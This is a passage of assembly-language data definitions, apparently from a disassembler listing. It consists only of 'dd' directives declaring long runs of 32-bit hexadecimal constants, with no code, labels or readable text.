0E018Dh, 93C2127Ah, 0B32E73E5h dd 0CB75BA03h, 9BA5EF8Ah, 14ADD084h, 0B7D007D6h, 162D129h dd 0F879ACC0h, 42C6977h, 107D71Dh, 4C303C31h, 1749C5Fh dd 289526D3h, 0E0DB62B8h, 3A00C0D8h, 0B92DF7CEh, 1440389h dd 78D6FBB4h, 0FB6BC67Dh, 0AD4ADE90h, 0A8FAF100h, 60A6F2B9h dd 0B7BB0022h, 0BF876CD4h, 0B30451B2h, 1D3AFE5Ah, 7C228480h dd 0E36904E8h, 95BB5CCBh, 877A8088h, 88004798h, 39AB7329h dd 910C9165h, 0FDCB0574h, 0D194052Dh, 4830885Ah, 3B01049h dd 412546A6h, 7CD9D59Fh, 0B2B88B20h, 0D76C0010h, 82F8988Ch dd 0F8EFD860h, 1C06553Bh, 7D040BB0h, 0D3D00060h, 992035A7h dd 0C902CFEFh, 6CBB8376h, 203CB823h, 0E0544DE2h, 0C4E043CFh dd 0E85E1D90h, 9B50FA00h, 0D80FA193h, 701470BDh, 6C9406C9h dd 488B1FC1h, 431D0300h, 0F4DB8FB5h, 755F0057h, 465A17E3h dd 2DE407ADh, 0D03CBC00h, 0DACD1B08h, 89E500F7h, 0B551748Ch dd 1E042E14h, 30AE9707h, 0B8403D84h, 0C5167A20h, 4DE804E5h dd 0C2154FFEh, 24607EC4h, 0BF48CA48h, 2F80B10h, 0A3BC02DDh dd 1B0E202Fh, 0C80B03B0h, 8BC72A85h, 7DE10780h, 686BA6h dd 95A61845h, 61A521C9h, 85AF8718h, 881E78h, 0EFC2255Ch dd 0F6785509h, 11443100h, 530C560Fh, 24AF4CE3h, 0A37A1CA0h dd 9343A50Fh, 5DC9544h, 0BFFBF635h, 9E73BD04h, 0C3259890h dd 0D254284Eh, 0D4724CF4h, 856F703h, 9DC0CC60h, 86B8CD92h dd 0B0626913h, 48403Dh, 35C71C11h, 223F40DCh, 154E4A7Bh dd 0A42C9E2Ah, 681B8000h, 0E5AD4261h, 79FC00A7h, 55ED54E4h dd 0BC000ECFh, 2A8F1383h, 6C6312h, 0BADE1834h, 462CD053h dd 0B4AD2800h, 2F373EEDh, 30FC00A9h, 6DAA61F6h, 0FA90E7E2h dd 3242EC00h, 0A5E52233h, 0F8E60004h, 3BEA6A53h, 7A1EEE0Eh dd 0BB40BF83h, 0D61E1A5Fh, 58FCE084h, 963C9Bh, 4ACED81Ch dd 9C006DDAh, 0A10C9A22h, 0B8CC4926h, 4BCCA08Ch, 8C1E03E3h dd 0C8AC155Eh, 2C4868B8h, 82A2F33Ah, 4457257Fh, 304E091h dd 0EC90C0h, 751ABA36h, 4CBC7384h, 0A7EF9200h, 148C7DB2h dd 0DB3E126Ah, 31C8600Ah, 0CD5D629Ah, 2BBE866Ch, 0F33C0E59h dd 0D3451Eh, 0EE0AED00h, 18B02ADFh, 85106AEAh, 0B402F177h dd 38FF9A27h, 80AEF487h, 6954A5BFh, 0AADDF8A0h, 35800094h dd 6BFED895h, 0D0960026h, 0ABE21D44h, 781206D5h, 4800A14h dd 3511A82h, 0BE9F1866h, 87F83FE6h, 0A73070F3h, 55BB9076h dd 0E83D2883h, 5989298h, 2B5E7442h, 2648D4C9h, 0CDFCB048h dd 0E8680700h, 973DC12Bh, 9EC807B5h, 0F07160h, 6247209h dd 75C6E700h, 88EA3F61h, 63552E20h, 2C420074h, 8F2A4EE0h dd 7094F100h, 44AE71F7h, 22DCF195h, 866D00BCh, 3A0CE173h dd 0A00181E9h, 1E772DCBh, 0FD70702Ch, 743C007Dh, 0AE685F0Bh dd 0C038302h, 98E23449h, 0A903F050h, 60AD0088h, 6592D6E3h dd 0A0502432h, 0B0058EBh, 8B86FCD0h, 768277h, 284E42F2h dd 0C2799CD5h, 0E1F1841Eh, 7E05C040h, 0B8AB8C65h, 4FACE4BBh dd 0B20800D6h, 119EA25Eh, 299DE707h, 633F0F97h, 0D8AB8218h dd 19C3912h, 6A722A66h, 0E12410A1h, 3799DCF7h, 2754130Fh dd 8D0260B1h, 1CCF0F93h, 4035CE92h, 8CD9523h, 4F01C33Dh dd 495554F5h, 78835B09h, 0CA50E790h, 0DDF6288h, 0D401B600h dd 0D694A7F3h, 0F030EB88h, 0CB5FCA5h, 311FDED9h, 0AC78AF10h dd 0CAED881Fh, 62208219h, 0C067BAC8h, 0FD52F458h, 12003AA0h dd 42D1F7B8h, 51AAC2h, 0C33877D3h, 0BE9BCE69h, 0F0F820B2h dd 78031AF6h, 0C1A9057Eh, 0C3402CFEh, 44B03A04h, 0B86EC759h dd 0BB478706h, 1784B2Dh, 0FA5EA5C8h, 4093CA25h, 697E83A8h dd 0A6389200h, 30D0F794h, 0E6F885h, 0DA0997C3h, 0CEF8CF4Bh dd 19C8D701h, 664EAB42h, 0D080F0E5h, 845C40FAh, 0B3006A4Ah dd 5F8D29C5h, 3BDE78h, 38862C16h, 6CF21806h, 199F491Eh dd 0CA0058D7h, 12D07531h, 0BC8A07DFh, 302F607Ah, 667C2E0Bh dd 40F8B100h, 98AE35B2h, 71AF00F2h, 1B3CDDCCh, 40008E8h dd 22D4A0A2h, 0E2A124AAh, 1E7400FEh, 0AFB73EFFh, 310FF7B6h dd 27E9DC08h, 63B0D544h, 0AC59C7h, 0C26C185Dh, 0F27597D6h dd 0C9F42200h, 9BC51469h, 0D5810031h, 2D806A8Ch, 0DC00E134h dd 2E89657Fh, 0B29AFE9Fh, 53CD0E10h, 9F561392h, 9069F70h dd 10D1B1h, 0F6BC4307h, 75210222h, 481C1407h, 1894D61h dd 4A42FAC3h, 1A78E3h, 685056DAh, 4147E11Bh, 0C75A6500h dd 42E43B22h, 54940B14h, 0EC80D8F0h, 0FBB0D78Dh, 0C707389Ah dd 0C3502A37h, 6129F3C2h, 82C0D884h, 35C100B3h, 20477EADh dd 0C60330BCh, 0C9E13707h, 1FA0F07Bh, 12CF038Ch, 0C2902071h dd 3819BEB0h, 0E155104h, 0BDC0F340h, 77D614BAh, 5AF638B4h dd 2CA402CBh, 0FFF3BC2h, 0C8028096h, 3DFB6153h, 401FD529h dd 0D43E7033h, 0D000B335h, 0F2EC78C5h, 0FE75F41Ah, 0B58C48D1h dd 395C4900h, 0DE61D89Ah, 0E500A677h, 0C277E387h, 1C88F09h dd 2893CC01h, 0F45642E0h, 0D5016679h, 96F02152h, 28347E95h dd 98185C31h, 0D95A2300h dd 70BA56B2h, 40CF6601h, 16A895B0h, 1ED3860h, 882F0AE5h dd 0CC744C7Ah, 2A0BA74Bh, 8196A2F5h, 9A456BEEh, 0A141460h dd 0D0BADF38h, 588081F0h, 408D189Dh, 84793CB4h, 0CF174000h dd 3EC8F7A1h, 0FD870127h, 82AD9A1Eh, 7F28FC44h, 7EAC7C3Bh dd 626DBA00h, 675081F7h, 1A46003Ah, 0D3782855h, 0B25CB8F1h dd 80A93DDEh, 0F317E8C9h, 0B2B0D697h, 0FEBB0070h, 84E79ADh dd 46005EB1h, 42027482h, 3BF65196h, 17E6B53h, 0B09C1AC4h dd 818E3B9Bh, 6ACC04C8h, 0BF70472Ah, 8BE27Ah, 5A62560h dd 1195A839h, 0B39F5F00h, 8A80BA0Ah, 42971844h, 0D5B278F7h dd 6DB1A313h, 7F32509h, 0CA80DF0Eh, 0FD9EE7h, 13D0F45Ch dd 9909CFAEh, 8D217E04h, 28E0A14Eh, 0A20A0017h, 2ED1CCBh dd 0B5005E36h, 64FE352Eh, 98B07FBFh, 0CC3100C8h, 284A2D79h dd 0BE0F5AC0h, 0F4DF5D3Eh, 6CF30BFCh, 9B3420B2h, 0F07426h dd 0B7B5BBA0h, 72BCC819h, 650C5301h, 2F68ABCDh, 0F1202CC1h dd 321E3133h, 28263BA0h, 0EE007658h, 0D2F615B1h, 471D21h dd 8572549Ah, 8D7EED45h, 0B84E5200h, 0D0AFD256h, 22251E93h dd 0F40D000Eh, 4919F9CDh, 0E8454300h, 2CF8DD4Dh, 32750026h dd 6A615EC3h, 0B5390ED7h, 0A8D8808Ah, 0FE8491C1h, 80CB0145h dd 0E3D1D402h, 1AF03451h, 0C3003094h, 0D2348B2Ah, 5B080BA4h dd 58A3519Eh, 5F8DDEEh, 0A53B8C20h, 0CAE780B5h, 3AB0BD7Dh dd 5461032Dh, 2C21C96Ah, 0F468B08Ch, 2A90AF03h, 9FDC954Fh dd 8B707A00h, 394D260Dh, 5CED0350h, 57B8BE34h, 45098F06h dd 80948068h, 1D64A0EFh, 0AD3707E9h, 8022CB48h, 542A7F53h dd 0ED02BC00h, 5B34DED0h, 44F0012h, 0B7CCD4ECh, 0E1F85F6Ah dd 1F5E63Fh, 1AB00E61h, 11C88F7Dh, 7E6B38C9h, 6FF1EC07h dd 0EE023317h, 242E8D88h, 0AEE5DE00h, 0B17B1655h, 35F83994h dd 9741C7F5h, 15F9E61h, 5F908174h, 4562D084h, 0F5A96703h dd 98E1CD1Fh, 78B39EB9h, 97782CFEh, 0CA690049h, 0DDB0F7B2h dd 0EAD12F00h, 8104506Ch, 0D69D0B97h, 9A8156CDh, 0C04066BAh dd 2A01E1FEh, 0B74AA5E7h, 60C13618h, 2A9A4E4h, 401C8F6Fh dd 0AD839E41h, 0B1B0EF47h, 1539A0E3h, 26120565h, 890E2B2h dd 74F0B61Bh, 98A900F9h, 714DD374h, 72004F0Ch, 0E752268Eh dd 17CF50DFh, 0B350E41h, 7480B4F0h, 2DA669E1h, 3B0064E4h dd 8FCF552Eh, 77AD4BD7h, 0D0924C4Eh, 5015B401h, 0D7E9701Eh dd 60C474D1h, 4103EE9Bh, 0D9E60D0Ch, 5090F0CFh, 0C70209F7h dd 90C0FC47h, 3F755AC5h, 0B465451Fh, 0E0210E80h, 401A5Ch dd 0C66F8977h, 5725184Bh, 0BA7CCE1Dh, 1222F340h, 0B88BE0Dh dd 69C78E6Fh, 36604383h, 3E66D6D8h, 0D5C39A2Ch, 0F7111030h dd 184A7F4Bh, 2951C55Dh, 0D7054756h, 0CB7DDF83h, 3C2F9880h dd 977F2C7Eh, 2902ED3h, 0E598090Ch, 378F4043h, 8C45D09Ah dd 3703B1E0h, 8B54293Ah, 0F134B19Ch, 75BD9F4h, 5D6EA1F6h dd 56A692F3h, 40B4A069h, 9ABF47ACh, 0A11BD001h, 7AC30942h dd 0A9A2E8h, 55E851DCh, 2D5EB08Dh, 0AA12890Bh, 0E5678098h dd 0C840B9h, 0C1CDB304h, 0E322D3F8h, 96C22100h, 31AB146Fh dd 50DD0085h, 0AE1001FAh, 500E00Bh, 21173891h, 0B2D6EDh dd 0A5184CCh, 376E3BC5h, 993A1D1Eh, 420B1480h, 7B1CBBh dd 76C49347h, 34DB674Bh, 0F374B400h, 203B5ACFh, 0FB941D8Eh dd 0D79A0069h, 377CC710h, 3D4F5900h, 6431D4B0h, 85833E54h dd 9880A53Bh, 0EF67BF6Fh, 0F601CBB4h, 7D84BCC2h, 1A204DECh dd 83D41E68h, 981C44D5h, 0A228C59Dh, 0AAD08024h, 0BBB2833h dd 2634A8F6h, 20BFC107h, 0B783DBDAh, 8595Dh, 541DE6C9h dd 727DBCC0h, 0F656FC7Eh, 5A4B742Dh, 7E105D09h, 35D9EC00h dd 57C93DD4h, 18634800h, 0D8A824E6h, 97BB1858h, 0D3894851h dd 0E15DB273h, 654300B4h, 3E7BD78Eh, 0E72B0FFAh, 0A840E0E3h dd 0C436FC19h, 0D700A975h, 41F80C61h, 26668Eh, 0C13562B0h dd 1C347240h, 0A3A13Bh, 337AB6F6h, 2FB2E2Ch, 0D9014FA5h dd 0F850E40Ah, 0B1BB471Fh, 0FFCCB306h, 3F01781h, 40381794h dd 0AC7FA5C8h, 0D90333C8h, 0E79A5E59h, 0C3D0D08Eh, 0DF542638h dd 0A52A00B7h, 27B2828Bh, 0A761E560h, 0E8F564ACh, 7D2612CCh dd 0E950D06Fh, 0C64CA0FFh, 604B301Fh, 126CA5B2h, 90FEF7FAh dd 925B0CF8h, 94A4E80Dh, 57F54859h, 60BD24F8h, 0C27EB1B8h dd 0D7004CBAh, 56F0BFA3h, 6749E1h, 0D509CD31h, 66B8B7B9h dd 0A105F82Ch, 0FBDA9B00h, 0CD38A4h, 4D51E698h, 0B246334Ah dd 6BADC07h, 343194FCh, 0B520D46Ah, 9AD300A8h, 69871129h dd 9200A1B8h, 4FAE8EA6h, 2392780h, 6F9ACE14h, 607D22FBh dd 0ECBEBF8Dh, 17C03947h, 0C5DAD300h, 3DDC2B0Fh, 2D10700h dd 6E1A0D9h, 0A8100025h, 0FA5C46B2h, 553B6894h, 811B009Fh dd 9AB0C3FEh, 0BFE600ECh, 860FC199h, 42005744h, 0D8A7F9B1h dd 80ACE3h, 0FBA3F204h, 9DB58EC8h, 0DDD9CD01h, 0FF5637D6h dd 0E51CA850h, 0A5270EA6h, 7DC6B5BFh, 80FB0887h, 9AF84321h dd 79388Eh, 747DBEDCh, 807A0D45h, 0DA00E896h, 0BA142EB8h dd 6A907750h, 0D0684Eh, 0C7B0850Bh, 0B8E85E65h, 0FD798D16h dd 803100Ch, 0B74D0062h, 0B495796h, 68006A8Ah, 0D96765FEh dd 0D854E7h, 368CD5EBh, 0DD0C7D52h, 99EF0E30h, 1731EEFCh dd 40450829h, 212FF028h, 2383A60h, 92CD19C2h, 782C9908h dd 211FFA00h, 692C3942h, 0E9335A00h, 531D1405h, 0B8D0D886h dd 0C1054B46h, 72B8AD12h, 0D71C1C6h, 0D1018A5h, 0ACE9E018h dd 0D988AF00h, 0BA7B7682h, 156B1E5Fh, 0FEB8C0E5h, 0F7D63121h dd 0B9483F00h, 0FAE6AA47h, 0DCB100E2h, 81C55528h, 5100F166h dd 7215421Dh, 6E6C8F5h, 1FF0FC9h, 71002E39h, 82029DD7h dd 7603404h, 45893CCAh, 8F16301Fh, 0C9009201h, 38B0E98Bh dd 5A9790h, 0EA5FC5DBh, 0F4B9282Dh, 8ED05600h, 0D2412A74h dd 0C2D50023h, 77E735EEh, 0DE00BAE4h, 0AA5F27C5h, 1F6C0F14h dd 40C32FB3h, 0F3363848h, 59283991h, 2B00F4C5h, 0EDF1337Fh dd 31A79Dh, 951BD665h, 2F948A7Ch, 8C607473h, 59551D41h dd 7B471E17h, 69B1FAEh, 209C1432h, 0BAD8AF00h, 0FB5193FAh dd 33A300DDh, 98DACC4h, 5F0047D1h, 0F612CF29h, 1DA43191h dd 0B90CD26Dh, 5E2EEA8Bh, 0BA60E200h, 0E700787Bh, 98E4FC31h dd 60A96120h, 916E195Fh, 3A02BB17h, 5328FDEEh, 7E600EBDh dd 0F8A7EFADh, 30BB4D30h, 398AA3h, 0E940E291h, 318B230Dh dd 74F47A1Ch, 0A5083FBh, 7C5A9AC9h, 3ECC79F8h, 8C005D09h dd 0B780C47Ch, 0FF073E17h, 58EE2492h, 0E54E88Ch, 42B99BE9h dd 3B8CC68Ah, 0A682EA80h, 6DBA3026h, 990014FCh, 0C7812BECh dd 190CF9h, 888C90EBh, 0F4B77F35h, 0D71AA328h, 9F247E00h dd 18D0A93Ah, 0FDB7CEAh, 3E7AF46h, 82A4E000h, 880004F4h dd 8519B2BEh, 710437Dh, 7C92CB20h, 8DC190C2h, 4A018F72h dd 0CA05A5DFh, 0A6F09987h, 69B400BEh, 6F135284h, 0FD00DF04h dd 0A486F1D6h, 0CE0175Bh, 0A2C5D08Bh, 0B2002D28h, 0E46A5340h dd 0CCA33h, 0D56DB0F9h, 54252148h, 0EB682E00h, 236C8862h dd 0CFA614DDh, 153CC95Eh, 0D5EEE200h, 4B61B498h, 0AF0360E2h dd 3782855Ah, 4983E15h, 0C65EE00h, 780E9BEh, 9C187460h dd 0FD2EF5h, 250AED64h, 0FEDAE0D1h, 70A4E100h, 0F6FC1E9Dh dd 19140099h, 90E68502h dd 6E7EA2E4h, 9208FA00h, 9DBEEA1h, 9B1500E1h, 0FF9AA014h dd 0A0C32768h, 818B3350h, 52F8ADE2h, 7884604Fh, 28F9A238h dd 498DD700h, 0C1915B75h, 4EC1FCDh, 61B200B8h, 0ABA3D6A1h dd 638A0501h, 731015A5h, 0BD16ED40h, 907F00FEh, 71DB2776h dd 0BD98D3E9h, 8075233Bh, 0C142EA8Ah, 1B8C44BFh, 606CA7CBh dd 84497EC0h, 0AE321E00h, 0FEF1BC8Ah, 5C03080h, 84549821h dd 49F8A24Fh, 0CD502E05h, 0A21806Ch, 0F037CF1h, 0F276DB21h dd 5E300082h, 5F088F29h, 0F438BD91h, 0AA4865h, 6A9A3585h dd 38159FA3h, 91D4A37h, 60838378h, 486C1180h, 0C457840h dd 894CE25Ah, 4F00DF11h, 0EE47D25Bh, 3A3CDD1Eh, 0B33086A6h dd 5FE1FA21h, 550A6702h, 0E0787246h, 18AD2B1Bh, 50DB1C9Ch dd 4864906h, 64BE5BEBh, 20B0628Eh, 7334CDEEh, 22E99500h dd 822D42CEh, 5A58C083h, 5C13A98h, 0A802ACA2h, 4618A89Ah dd 33950484h, 21BEAA16h, 9D001BD9h, 60008451h, 0CFE43C9Ch dd 655A4F2h, 5B1C928Fh, 710081C4h, 1D5ABBDBh, 5C86Fh, 0C78D8E8Ch dd 80A30A1Fh, 3E49D900h, 43C44B6Ch, 0C84100D1h, 0C3B32696h dd 7E3C94A5h, 874F802Bh, 0F5E9C224h, 0FCEE8Dh, 0B6DFE5CEh dd 90A998B2h, 0D3E33D1Ch, 923E78C1h, 8AF0AB51h, 0F266586Fh dd 12810D01h, 708DE816h, 0F900510Fh, 0A7296A6h, 0C57AE3h dd 0A12CC141h, 47422986h, 6C1CD803h, 8062309Ah, 0FAF17F3Ah dd 3E8A00FFh, 8320AA44h, 0B4711485h, 0F53C7706h, 63845C3h dd 427C400Eh, 0E00049CEh, 550F2883h, 1D64EC1Ah, 0CE91278h dd 37209649h, 892F5B00h, 570AF8AAh, 7C23F602h, 0CACC055Ah dd 80486741h, 0E745C021h, 83888200h, 9ECF74EAh, 86D62C9h dd 364039BDh, 88017EA5h, 1B963A2Bh, 29E0AAA9h, 0BBEA1EF7h dd 4525010Eh, 8C8EC4B4h, 596D93F8h, 503601C1h, 8AEE783Eh dd 0AA8DE406h, 119D8402h, 80577F19h, 923A9A4h, 87D300BDh dd 80EEA8A1h, 0D6509281h, 1B07F9ADh, 0CD0E2CD9h, 0A68B1CE1h dd 0E7FFAE40h, 15D600D0h, 7B36CEEEh, 7E03286Dh, 65EF2C2h dd 69BDB864h, 0C5E2003Ch, 58DF4393h, 4D0061D5h, 0A5241298h dd 53F4AFh, 8F9D282Ah, 0D94079F7h, 7C672500h, 0D0AF30A2h dd 3CD738A7h, 0AB2CAD83h, 830A531h, 92F1216Dh, 141B0E5Bh dd 0BC07965Dh, 0E688D321h, 0B0AEA601h, 10CF30F1h, 0C326F4DCh dd 0D2250CFEh, 0AD270818h, 3F29020h, 5B2E39E0h, 8BC85CC7h dd 7618C4FAh, 4268B93Ah, 4C3752D9h, 0DE5B8903h, 31E47D3Bh dd 1700EFF4h, 6D00CB1Fh, 0B6371899h, 3030AB8h, 0E80B38A0h dd 35A056A8h, 947FB0AFh, 0C3A8A760h, 3F914912h, 95034A13h dd 6E74BCF4h, 2FF2A4B8h, 26B76B01h, 0B49F3B2Eh, 0E941B8B0h dd 41F0B191h, 0DBE79000h, 0BDD43DC0h, 0F9AD00EBh, 0A54A30B3h dd 7651C52Bh, 0FD31F2B0h, 2B3472C8h, 806435DDh, 0B4CB17BBh dd 0D50056D3h, 21347053h, 0B890D2CCh, 0B8C0721Ch, 29B48860h dd 737D3Ah, 0DA33E2FEh, 0C11C4EC9h, 51E9E8E4h, 0C58DCCCh dd 8A263902h, 0C887FA10h, 0FF6E80B2h, 0DF4285E0h, 0CF284A63h dd 0B2D7B093h, 0B830054Fh, 1F7F6h, 6F52288h, 0DD3BA99Ah dd 401294A0h, 44420089h, 945AFAE9h, 0BE4900D0h, 2BEE371Dh dd 0F5249BCDh, 0F8009281h, 3D96E3F9h, 896000E0h, 0ECC366C4h dd 4900C6ADh, 394AC941h, 5D6874h, 0F638BE9h, 7D097637h dd 0D6517A00h, 6E2B70C1h, 0BCF60054h, 7FF746CEh, 0C00C3201h dd 748E9581h, 0CC1B006Eh, 54451B8h, 0E160CDF4h, 71920C19h dd 0F2E30004h, 0C4C7BACFh, 5607BFBBh, 7C0BDE2h, 0BC6E2E41h dd 68BD23E1h, 0E4E61180h, 27B1D8C7h, 0E8EF9100h, 0B7DE019Bh dd 910469D6h, 582DC701h, 0A756D07Ch, 1E55BB00h, 768B6949h dd 0ECD269Dh, 0B630012h, 0A37CFFD4h, 5B80E100h, 0C44CF2B3h dd 0DA1D0277h, 11235266h, 0A727D960h, 2073C300h, 970BC0Ah dd 92F70FF3h, 5380A6AEh, 75540B80h, 0BB7B071Eh, 0FE22583h dd 0C43EE09Bh, 32AA13BDh, 0BD02FBD1h, 80733174h, 9CD8D088h dd 78F9007Ah, 0CDE6F854h, 8100DA32h, 39F0EC8Fh, 0B0B72E8Ah dd 347E0172h, 5FCB35F4h, 7D6CF41Ah, 0F1F86E1Ch, 0D57374C0h dd 32C97BDh, 0ADAF0C6Fh, 801798D2h, 0CA005AA1h, 0ED7E65FFh dd 435F00E6h, 500740A5h, 49079117h, 6639258Bh, 3BF41D61h dd 5FE99840h, 62610063h, 94BDCFEEh, 0E5662644h, 218408h dd 784AEC66h, 2DFDEECAh, 0BF1C7C00h, 6E98269Fh, 0AE7D0044h dd 51433454h, 10EAEE39h, 0B1098B00h, 26BEE1B6h, 28B1FFF0h dd 0D00E4351h, 0F9603894h, 0A29880A9h, 92A5001Ah, 0AA7B4DB3h dd 1324AA4h, 0F5BB20E7h, 5C4648C0h, 280E8E70h, 9827B615h dd 1A67C51h, 2BDBD9D5h, 0D80E03B5h, 1832CB97h, 95147811h dd 0E5B28838h, 4002A062h, 67D3AEF0h, 30934836h, 8B0CF5D7h dd 86AC6D1Fh, 204300BCh, 65E33FE9h, 0F80BFCA6h, 17C433B9h dd 21005C08h, 0F92ABA29h, 0E887CED0h, 90810803h, 890F3408h dd 1CEBE009h, 1E59CA3h, 0C5AC6A2Bh, 80A96744h, 1DE7A270h dd 187CED68h, 0AC979F91h, 5700A893h, 0B3267E0h, 6822EAh dd 107BAEC5h, 0EF051BA0h, 6B1EAC00h, 0F29885F7h, 0FF0E693h dd 2C4178EBh, 5E826A42h, 7D2AAA60h, 5830E000h, 0FFB3FB55h dd 0A82C0CA2h, 4ADC2E4Eh, 7081330Eh, 80F6009Eh, 0EDC735h dd 448697FFh, 41FA5BAh, 0E7E7C13h, 638BE0h, 39F67BE0h dd 2C885E7Fh, 72ED8F00h, 832B73A4h, 9770DBh, 154F32DDh dd 1A3E12F4h, 6CD37103h, 7665E5EBh, 41DA6018h, 0EC6FDC34h dd 33913D07h, 4400674h, 90398DB5h, 2A86010Dh, 0B959F29Fh dd 80D3E168h, 3B048238h, 0E02D05F1h, 61210095h, 0B45634C6h dd 880033B7h, 0E52CFCD3h, 7643A0Eh, 93C3AB69h, 2A00EE2Eh dd 0C5841282h, 0DEA86607h, 7970EDBEh, 65E0EE4h, 0D9D7C808h dd 0D0048EAh, 4DBCFE27h, 0C70A7FC2h, 10F4B320h, 0D06FB7FFh dd 0ECFDE900h, 0FCAE5160h, 9B753D02h, 407FCD00h, 5FE08832h dd 760A3700h, 451BCFBDh, 309B0ED4h, 0FD89C2h, 95E8662Bh dd 51184613h, 318F083h, 84CE00ADh, 0B245F82Ah, 500027FBh dd 0ABF9A205h, 447521h, 0AF8C8A11h, 0B4DC770Ah, 94053400h dd 0D01ED190h, 0F1071E30h, 0D6BC0693h, 0C6002889h, 0D852B887h dd 667EAEh, 0D7E0AB61h, 0DF70DE95h, 2D574E0Fh, 93EC20BCh dd 7ED8AF18h, 0F6170090h, 0FBA7E17Eh, 5E005A95h, 0A387DF01h dd 1DA59EDh, 96DD3716h, 3038F618h, 3C0099CCh, 0DE3F06B6h dd 7635602h, 0C567E974h, 97ADB1A1h, 6A82C0AFh, 0B009B800h dd 1E18A591h, 7F87625h, 511C9E98h, 9BB84001h, 0C00024C5h dd 317384ECh, 30A4E4h, 1BD85579h, 38CF9A3Eh, 6D5E3F00h dd 4AA7E6ADh, 996B00EBh, 0FE8811AEh, 14003603h, 96715E37h dd 0ED9C62h, 216D27F5h, 8238012Ch, 0E1EBD803h, 0F0C55C42h dd 1503B63h, 0CB1C408h, 0C0B60347h, 410038BAh, 81CFD02Ah dd 1C9839D3h, 4E62F6E5h, 1F4004A2h, 0AEB621D8h, 3500200h dd 0F39A8472h, 98370045h, 190B0EFBh, 8B0015E9h, 48625FA5h dd 0CE8F04h, 7B6E7655h, 0BBD147A3h, 1C708E48h, 0F5C0DBC1h dd 0E201593Ah, 76390FB3h, 0E654ECC6h, 0D9DC3800h, 0B771D461h dd 0B41EED00h, 98EF3235h, 0B9080FF5h, 36800244h, 2E60CBF1h dd 0A4790507h, 9C904972h, 71AD59A5h, 0EA5507DBh, 82014E65h dd 144068EBh dd 36022615h, 0C141D263h, 20C8AAFAh, 0BF046814h, 5D26507h dd 0CC40C0BEh, 1B007EA6h, 7CA13FDFh, 0F51D36Ah, 442A810Ah dd 94123820h, 9231674Ah, 0AF0B2877h, 75C35212h, 39952811h dd 36BDF208h, 19822710h, 590283D4h, 31922858h, 12A7B329h dd 56AD10FDh, 89613388h, 0C128402Fh, 318080CCh, 0EB1140F7h dd 2272D620h, 5B31AEFBh, 0A92529B6h, 6CD08F10h, 28425781h dd 0A9648710h, 621A29CCh, 0AA379BAh, 0A2133C22h, 2E413D8Ch dd 9F79D70Ch, 0F99C40h, 3311D31Ch, 6C1C613h, 0C52A5A00h dd 9470BEEFh, 87710069h, 655BF636h, 0C80123CFh, 6A05D8E2h dd 48801ABBh, 0D9B0905Fh, 4E0E5D30h, 60E46C87h, 0EEC5B432h dd 0E81001C4h, 7393FCEh, 0A5BDE8B7h, 0D1314100h, 532783F2h dd 955900C4h, 44E1DE5Ch, 8800D59Dh, 1EF65A9Bh, 0E2350Dh dd 6D87315Dh, 96D1DB84h, 404824E9h, 8565F303h, 0C091FDF0h dd 770C9E31h, 3EF51C8Ch, 6DB40F58h, 0D9A9AB40h, 0F100D185h dd 0BF8156C4h, 0E44E8D3Eh, 330E072Ch, 0A0199D31h, 1CB193AFh dd 0E5F7B50Eh, 5F66408Ah, 7E0FCE71h, 0FF9F0008h, 0D8218EB2h dd 0E0C7A9ACh, 0F6E0A462h, 5081ECh, 0C197C042h, 0E7EF87A1h dd 837DB200h, 124B74BFh, 3D3E00DDh, 9C6A491Ch, 4201D801h dd 4461A4CDh, 0CBECC26Fh, 51A2C07Ch, 0DF5A1ACFh, 526338F8h dd 99442246h, 0CDC82116h, 40540069h, 0CA6014BBh, 1D001826h dd 5649B433h, 39CD1B22h, 0BC80DE71h, 0BBF77B36h, 0E107C250h dd 0F12046FAh, 38C60DEh, 0C4CF7Fh, 0DF55B480h, 92739C50h dd 326F860Bh, 200D72Fh, 9E4D7C4Ah, 6400D7EAh, 6EF4CB93h dd 69A813h, 0A537DAC7h, 847A3B01h, 4EBF5300h, 0A147CF68h dd 552C00DDh, 237152C5h, 287CFBE5h, 4284500Ah, 0B00E4C9h dd 3EF1F963h, 0D15D00D7h, 0F52CBE9h, 303D55Ah, 0FB793FE3h dd 8F841782h, 487100C3h, 94EBDE20h, 607F5CB0h, 80D5A139h dd 0C7EB915h, 3D169684h, 0EF80D9B6h, 679B8917h, 7B009FC9h dd 0D7A82472h, 13E6E934h, 0AAD17Ah, 6E58C7E1h, 0A4F2802Fh dd 331C1200h, 4ADA9132h, 0D77F40h, 510FAE77h, 0B6892948h dd 3F787600h, 178CDE94h, 0D67404F3h, 803303C9h, 0E7158D5Ch dd 8B9C2B0Eh, 0A53BA2E5h, 579860E3h, 882300C3h, 6597522Fh dd 7A000FFCh, 0A0D45AFAh, 0BCD05Ch, 0BFAA4457h, 6FC160BEh dd 0FDB69F0Fh, 0B39A87A2h, 0A96F280h, 0EE02004Fh, 0CCD40FF6h dd 9E5C30C3h, 924C006Eh, 14FAE079h, 8DB873h, 0A49AD694h dd 0EBB9D732h, 5DB8C000h, 45FED4D2h, 75840F4Dh, 0D24761h dd 958E2618h, 71E6C71h, 380974Ah, 90CE80A4h, 68C00027h dd 2F3BD9B4h, 0C100A8AEh, 0CD9B9C5Ah, 7E06CF43h, 1057931h dd 3EEFFF33h, 0C818FC5Bh, 0EA064F83h, 3B775ADCh, 3A7DE6h dd 65475314h, 931F01B6h, 6667A901h, 738CD03Ch, 3EFE3020h dd 4680E64Fh, 0FB2C1536h, 0BF00907Dh, 83C91601h, 283258h dd 63D007E7h, 0A885FC60h, 677ED51Ch, 69E268C0h, 7A9F90h dd 92055187h, 19FE7D23h, 0BB636A0Eh, 0F50F4010h, 0C0183D37h dd 5346F6EAh, 0EF00FB16h, 434BACE1h, 1DB08E1Eh, 0C0C93501h dd 0E885860h, 6900F83Bh, 8CF01CFCh, 7AC22C38h, 0C5ECCCh dd 186E2A3Eh, 79139C3Dh, 0A0A4A92Ch, 27596401h, 40E20760h dd 0DFDFBh, 0F35C6A1Ch, 15568ECCh, 0A3925F00h, 0DD9DADE5h dd 0D4233D14h, 8CA0F480h, 0F87F9E65h, 487EFB00h, 0C0E79FADh dd 3B5F00DDh, 0FB54177h, 9C00D097h, 3F654D6Ch, 7CDB2735h dd 895005Dh, 8C994BC2h, 1600E62Ah, 0BBA3E1F8h, 1F4366h dd 0CF33214Dh, 921A9C88h, 0E0174000h, 0BCFE8DC4h, 165E0278h dd 0C280B967h, 980CC840h, 0E79EA907h, 0FC029B1h, 3C53C0F2h dd 0F4335Ah, 0DC8BB50Bh, 3AE03B70h, 0BAA348h, 804A7C8Ch dd 0FFA6DDh, 0D91C9A6Eh, 0B94BC793h, 